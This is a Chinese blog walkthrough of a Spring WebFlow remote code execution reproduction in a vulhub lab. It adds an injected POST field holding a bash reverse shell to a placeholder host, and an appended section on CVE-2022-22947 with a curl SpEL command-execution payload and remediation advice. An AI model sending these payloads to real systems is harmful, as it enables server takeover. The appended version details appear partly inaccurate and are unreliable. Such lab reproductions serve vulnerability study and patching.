Spring远程代码执行漏洞

本文详细介绍了如何通过WebFlow环境构造漏洞,执行反弹Shell的操作。首先使用docker-compose启动服务,然后通过预设的账号登录系统,访问特定酒店ID并进行预订操作。在预订过程中,抓包并修改POST数据包,插入反弹Shell的POC,最终成功获取远程shell。此过程揭示了Web应用安全中的重要一环——权限滥用与命令注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先进入漏洞环境

构造所需漏洞

docker-compose up -d

在浏览器中访问

首先访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shellPOC):

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub  

成功执行,获得shell

### CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞详情 #### 漏洞概述 CVE-2022-22947 是一个存在于 Spring Cloud Gateway 中的严重安全漏洞,允许未经身份验证的攻击者通过精心构造的 HTTP 请求实现远程代码执行 (RCE)[^1]。 #### 影响版本 此漏洞影响了多个版本的 Spring Cloud Gateway 应用程序,在启用了 Actuator 并暴露 `/actuator/gateway` 端点的情况下尤为危险。受影响的具体版本包括但不限于: - Spring Cloud 2021.0.x 版本之前的所有版本 - Hoxton.SR8 及更早版本 - 2020.0.3 及更早版本[^2] #### 漏洞成因 当应用程序配置不当并公开敏感管理接口时,攻击者能够利用这些开放接口提交恶意负载来操纵内部逻辑处理流程,最终达到控制服务器的目的。特别是当 `spring.cloud.gateway.actuator.enabled=true` 和 `management.endpoints.web.exposure.include=gateway` 被设置为 true 或未被适当保护时风险更高[^3]。 #### 复现过程简述 要重现该漏洞,通常需要满足以下几个条件: 1. 使用易受攻击版本构建的服务实例; 2. 配置文件中开启了 actuator 功能模块; 3. 对外网路可达性良好且无额外防护措施(如防火墙规则限制)。 在此基础上,攻击者可通过向目标主机发送特制HTTP POST请求至 `/actuator/gateway/filters/reload` 来触发漏洞,并可能进一步获取系统权限或执行任意命令[^4]。 ```bash curl -X POST http://target:port/actuator/gateway/filters/reload \ -H "Content-Type: application/json" \ -d '{"predicates":[],"filters":[{"name":"AddResponseHeader","args":{"name":"foo","value":"${T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')}"}]}' ``` 上述 curl 命令展示了如何构造一个简单的 payload 来测试是否存在 RCE 漏洞;实际环境中应谨慎操作以免造成不必要的损害。 --- ### 解决方案与预防措施 针对这一严重的安全隐患,官方已经发布了补丁更新以解决这个问题。对于正在运行中的项目而言,则建议采取如下行动项尽快完成修复工作: - **立即升级到最新稳定版**:确保所使用的 spring-cloud-dependencies 至少为 2021.0.0 或以上版本。 - **禁用不必要端点**:除非确实有业务需求,否则应当关闭所有非必需的 actuator endpoint 访问路径,尤其是那些涉及动态修改应用行为的功能选项。 - **加强访问控制策略**:即使某些功能必须保持开启状态,也务必配合严格的认证机制以及细粒度的角色授权体系加以管控,防止未经授权的操作发生。 - **定期审查依赖库的安全公告**:时刻关注来自供应商或其他可信渠道发布的各类预警信息,及时响应潜在威胁并作出相应调整。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值